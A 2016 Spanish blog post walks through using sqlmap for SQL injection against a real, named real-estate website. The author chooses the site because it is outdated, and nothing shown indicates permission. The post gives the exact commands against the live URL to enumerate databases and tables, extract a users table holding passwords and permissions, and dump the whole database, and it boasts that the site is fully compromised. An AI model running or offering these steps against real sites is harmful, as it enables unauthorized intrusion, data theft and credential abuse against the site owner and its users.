.

.

domingo, 17 de abril de 2016

SQLMAP - Inyecciones automáticas de SQL

Esta tarde le ha tocado el turno de ser testeada a la herramienta "sqlmap".

Sqlmap es una herramienta perfecta para la realización de pruebas de penetración y muy util a la hora de ayudarnos a la hora de estar intentando detectar y explotar errores de inyección de SQL, además de facilitarnos el proceso de acceso a bases de datos. 

Como reza el titular en su web oficial, Sqlmap puede definirse como "la inyección automática de SQL y adquisición de base de datos pública".
En dicha web oficial podemos descargar la herramienta y tener acceso a documentación, etc.:
http://sqlmap.org/

Para probar la herramienta, lo primero que nos hace falta es una web en php y para que podamos ver algo vistoso, en este caso que sea vulnerable.
Sin complicarme la vida busco webs en php antiguas, abandonadas y por consiguiente desactualizadas, todo esto es igual a: Vulnerables.

Tenemos aquí esta web inmobiliaria, que parece no ser actualizada desde 2012 y tiene pinta de muy accesible: http://www.hidalhousing.net/pages/portada.php

Accedo a su pestaña de noticias para encontrar lo que estoy buscando:
http://www.hidalhousing.net/pages/amplianoti.php?id=22

Podemos ver que tiene un id de referencia. Si le añado al final un par de comillas ('')....



"ERROR"
Nos sirve para nuestro cometido por tanto.

Abrimos "Sqlmap". Como he dicho antes lo puedes descargar en: 
http://sqlmap.org/  o si utilizas Kali Linux como haré yo, ahí lo tienes disponible en el apartado de aplicaciones web.


Lo primero es intentar sacar las bases de datos, para si lo conseguimos luego trabajar directamente sobre ellas.
De es esta manera, le indicamos el comando sql y la url sobre la que queremos trabajar.

# sqlmap -u http://www.hidalhousing.net/pages/amplianoti.php?id=22



















Aquí vemos los resultados, obtenemos una serie de bases de datos.

Para este ejemplo voy a utilizar la primera:
Sql103544_1

# sqlmap -u http://www.hidalhousing.net/pages/amplianoti.php?id=22 -D Sql103544_1 --tables

Vamos a introducir el comando anterior, pero esta vez especificamos además de (-D) el nombre de la base de datos conseguida y añadimos (--tables) para que nos consiga las tablas de esta base de datos.


Ya tenemos sacadas las tablas. Como se puede ver a conseguido 96 tablas de la base de datos.
A partir de aquí ya todo es armarse de paciencia e ir buscando de donde podemos ir rebañando datos.

Efectivamente a parte de muchos datos interesante, podemos conseguir algunos concretos que nos faciliten seguir indagando como datos de usuario, que en el mejor de los casos consiguiendo credenciales podremos llegar a logearnos.

La formula seguiría siendo la misma:
( sqlmap -u http://www.hidalhousing.net/pages/amplianoti.php?id=22 -D Sql103544_1 ) en este caso añadiriamos al final la (-T) de tables y el nombre de la tabla en que queremos seguir trabajando de las 96 obtenidas en este caso, más el comando (--columns) . Algo así:

# sqlmap -u http://www.hidalhousing.net/pages/amplianoti.php?id=22 -D Sql103544_1 -T usuarios --columns























Como se puede ver, de la tabla usuarios hemos conseguido:

Clave, id, nombre y permisos.
Ahora podría acceder como este usuario sin problema a esta base de datos.
Y así sucesivamente iremos accediendo a más datos. El caso es que la web a sido totalmente vulnerada.

Con: # sqlmap -u http://www.hidalhousing.net/pages/amplianoti.php?id=22 -D Sql103544_1 --dump


















Con esto me despido por hoy.

Un saludo y happy hacking ;)

No hay comentarios:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.